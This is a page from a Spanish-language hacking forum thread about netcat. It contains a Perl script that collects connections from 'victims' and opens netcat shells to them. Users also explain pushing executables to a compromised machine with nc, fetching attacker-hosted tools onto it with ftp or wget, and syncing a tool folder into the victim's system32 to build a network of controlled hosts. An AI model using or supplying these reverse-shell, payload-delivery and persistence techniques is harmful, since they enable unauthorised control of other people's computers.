elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Jugando con netcat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 ... 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [50] 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 Ir Abajo Respuesta Imprimir
Autor Tema: Jugando con netcat  (Leído 377,648 veces)
Kont

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Jugando con netcat
« Respuesta #490 en: 19 Mayo 2008, 08:47 am »

podria utilizar netcat en una red wireless?? es decir yo me conecto desde una laptop utilizando la tergeta de red inalambrica, y las demas host no utilizan la tarjeta inalambrica si no que se encuentran conectados mediante cable, podria obtener una shell en las maquinas conectadas por cable??

gracias.
En línea

tyldan

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Jugando con netcat
« Respuesta #491 en: 19 Mayo 2008, 12:36 pm »

Wueno, acabo de hacer un Programa en Perl para "eschuchar" una puerta y ver los IP que intentan conectarse.
Despues el programa llama el netcat con estos parametros:
" start nc -L -vv -p "puera" -n "IP"
Si NO tienes el netcat en System32 no sirve
Si tienes el Netcat en system32 pero no se llama  nc.exe no sirve igual (entonces tienes que correger el nombre)
Para ejecutar ese programa tienes que instalar un interprete Perl (Active Perl o lo que sea) y poner sobre la consola "perl NombrePrograma.pl puerta"
Aqui le dejo el programa:
Código:
#!/usr/bin/perl

use IO::Socket;


my $port = shift or die "Uso: $0 <puerta>\n";



while(1){

system("cls");
 
print "\nInserta cuantos minutos quieres escuchar: ";

my $servsock = new IO::Socket::INET(
        LocalPort => $port,
        Proto => 'tcp',
        Listen => 1,
        Reuse => 1,
) or die "Impossible crear el socket: $!\n";

my $temp=<STDIN>;
my $temp2=$temp*60;

$data=(time()+$temp2);

print "\nEscuchando sobre la puerta ".$port."...\n";


$c=0;

while ($data >= (time())){
 
  $f=0;

  my $sock=$servsock->accept();

    for ($i=0;$i<$c;$i++){
      if ($sock->peerhost()==$DB[$i]){
         $f=1;
      }
    }
   
    if ($f==0){
      push (@DB,$sock->peerhost());
      $c++;
    }
  close ($sock);
}
chomp($temp);
close($servsock);
print "\nEn estos ".$temp."minutos, los IP que intentaron conectarse son:\n";

my $sis;

for ($i=0;$i<$c;$i++){
  $temp2=$i+1;
  print "\n";
  print $temp2;
  print "-";
  print $DB[$i];
}
my $scelta= "s\n";

while ($scelta eq "s\n"){
print "\n\nInserta el numero (indice) del ip que quieres hacer conectar:";
$temp=<STDIN>;
chomp ($temp);
$temp=$temp-1;
$sis="start nc -L -vv -p ".$port." -n ".$DB[$temp];
print $sis;
system ($sis);
print "\nQuieres hacer conectar otro IP? (s/n):";
$scelta=<STDIN>;
}
for ($i=0;$i<$c;$i++){
pop(@DB);
}
}
En línea

tyldan

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Jugando con netcat
« Respuesta #492 en: 19 Mayo 2008, 12:41 pm »

Tiene un pequenito problema.
Si por ejemplo no tienes victimas que intentan conectarse el programa espera un tempo infinito. (pq no se utilizar los Forks)
En línea

D4RIO


Desconectado Desconectado

Mensajes: 1.004


U N I X


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #493 en: 19 Mayo 2008, 15:17 pm »

Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion. De todas formas todo el code está medio dudoso, poco práctico y muy poco perlero... como escrito a las apuradas. Por dar un ejemplo:

Código
  1. print "\nInserta cuantos minutos quieres escuchar: ";
  2.  
  3. my $servsock = new IO::Socket::INET(
  4.        LocalPort => $port,
  5.        Proto => 'tcp',
  6.        Listen => 1,
  7.        Reuse => 1,
  8. ) or die "Impossible crear el socket: $!\n";
  9.  
  10. my $temp=<STDIN>;


En esa parte, si new IO::Socket::INET() falla y el or pasa al otro lado con el die, tu programa pedira "Inserta cuantos minutos quieres escuchar: " y luego, así como así... CRASH!

a demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco.

esta otra parte tambien me resulto dudosa (Tal vez por el estado somnoliento):

Código
  1. my $temp=<STDIN>;
  2. my $temp2=$temp*60;
  3.  
  4. $data=(time()+$temp2);

y al final:
Código
  1. for ($i=0;$i<$c;$i++){
  2.  $temp2=$i+1;
  3.  print "\n";
  4.  print $temp2;
  5.  print "-";
  6.  print $DB[$i];
  7. }

se usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones.

Se ve que tenes buena base de programación, pero no usas las practicidades de Perl.

Y un ultimo consejo: Si te gusta Perl deja de una vez a Microsoft y venite para Linux, donde Perl esta en su salsa.
En línea

OpenBSDFreeBSD
tyldan

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Jugando con netcat
« Respuesta #494 en: 19 Mayo 2008, 16:04 pm »

Yo programo en C pero no se utilizar los Sockets,
por eso hize un programa en Perl, porque me parecia mas facil.
El problema es que llevo 5 dias "leyendo" el Perl (pues.. empeze desde zero)
por eso no soy muy pratico y programando casi siempre en C, no me doy cuenta de algunas cosas (por ejemplo utilizando el for y no el foreach).
Si alguien puede mejorar el codigo que lo haga,
simplemente necesitaba algo para no cambiar puerto cada vez y mi intento era ver los ip de las victimas y conectarme una a una.

Citar
Al reves, el problema de no utilizar fork es que si intentas escuchar con varias victimas no podrás hacerlo, solo una a la vez hasta que finalice la ejecucion de system por salir nc de su ejecucion

Mi llamada de sistema es un start, osea abre otra ventana, entoces el system acaba en un Clock.


Citar
a demas de my $temp=<STDIN>, que te dejara un fin de línea, si no me equivoco.

si pero eso no influje sobre la convercion, hize pruebas.

Citar
se usaria un foreach porque el objetivo es recorrer el array. Por ultimo podrias evaluar el uso de matrices asociadas (en jerga perlera: Hashes) para simplificar el logging de las conexiones.

de eso no me di quenta, pero no es fondamental.
[voy a leerme algo sobre los hashes  ;D]

Gracias por tus comentarios, se vee que tienes experiencia pero soy un newbee del perl.
« Última modificación: 19 Mayo 2008, 16:12 pm por tyldan » En línea

D4RIO


Desconectado Desconectado

Mensajes: 1.004


U N I X


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #495 en: 19 Mayo 2008, 19:47 pm »

No te creas que llevo mucho tiempo en Perl, pero mi experiencia es porque desde que empece hice lo mejor:

- Lei lo que más pude de las manpages de Linux
- Leí codigo de otros a más no poder
- Lei dos o tres manuales de referencia
- Programe cuanta pavada se me ocurrio para adquirir experiencia

Por cierto, en C++ es más simple manejar los sockets que en C.
En línea

OpenBSDFreeBSD
chalo11

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Jugando con netcat
« Respuesta #496 en: 24 Mayo 2008, 05:36 am »

hola amigos :D saben tengo un problema, que al momento de subirle un archivo a la victima, desde la chell remota obtenida, lo hago con el siguiente comando

nc -vvlp 123 > archivo (ese comando desde la chell remota)

y luego en mi maquina,despues de hacer un DIR para buscar el archivo a subir coloco el siguiente comando:

nc ipvictima 123 < archivo.exe (maquina atacante).

mi problema es que al momento de ir a verificar el archivo subido este solamente tiene el nombre.exe y con un peso de 0 bytes y como saben no se puede ejecutar.
que error estoy cometiendo? ojala me puedan ayudar.

PD: todo el procediminto de obtener la chell  lo hice desde mi misma maquina 127.0.0.1 utilizando el puerto 6000. sera este el error? o acaso igual deberia subir el archivo con su respectivo peso?   
En línea

D4RIO


Desconectado Desconectado

Mensajes: 1.004


U N I X


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #497 en: 24 Mayo 2008, 20:34 pm »

Usa ftp en el shell remoto para bajar contenidos que previamente alojaste en cualquier lado (puede ser tu mismo ordenador) y se comparten por ftp (con un ftpd), y asi le podras pasar el wget. Con el wget podras bajar lo que quieras y cuando quieras incluso desde HTTP.
En línea

OpenBSDFreeBSD
chalo11

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Jugando con netcat
« Respuesta #498 en: 24 Mayo 2008, 20:47 pm »

buena compa gracias por tu ayuda lo unico si que no entiendo mucho lo del  wget  ;D me podrias explicar que es? o como se utiliza.

bueno ....de nuevo gracias por tu auyda y tiempo.  :D
En línea

D4RIO


Desconectado Desconectado

Mensajes: 1.004


U N I X


Ver Perfil WWW
Re: Jugando con netcat
« Respuesta #499 en: 26 Mayo 2008, 04:10 am »

googlea un poco... wget es una de las herramientas más usadas en gnu/linux (de hecho es software GNU) y tiene un porte a windows. Como tan usada herramientas cuenta con su manpage y mucha documentacion en la red, aunque básicamente la podes usar como: wget http://tudominio.com/archivo a descargar y así podes combinar eso con el uso de un servidor en tu máquina (como Apache o HFS) para sincronizar los archivos que desees (pe: creas una carpeta "utils" en tu máquina y haces un script en la máquina ajena que mantenga todo el contenido de "utils" en el system32 de la máquina ajena. despues un sistema de protección propia y yá comenzas a armar tu red, eso si... si lo haces sin el consentimiento ajeno te atenes a las consecuencias)
En línea

OpenBSDFreeBSD
Páginas: 1 ... 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [50] 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines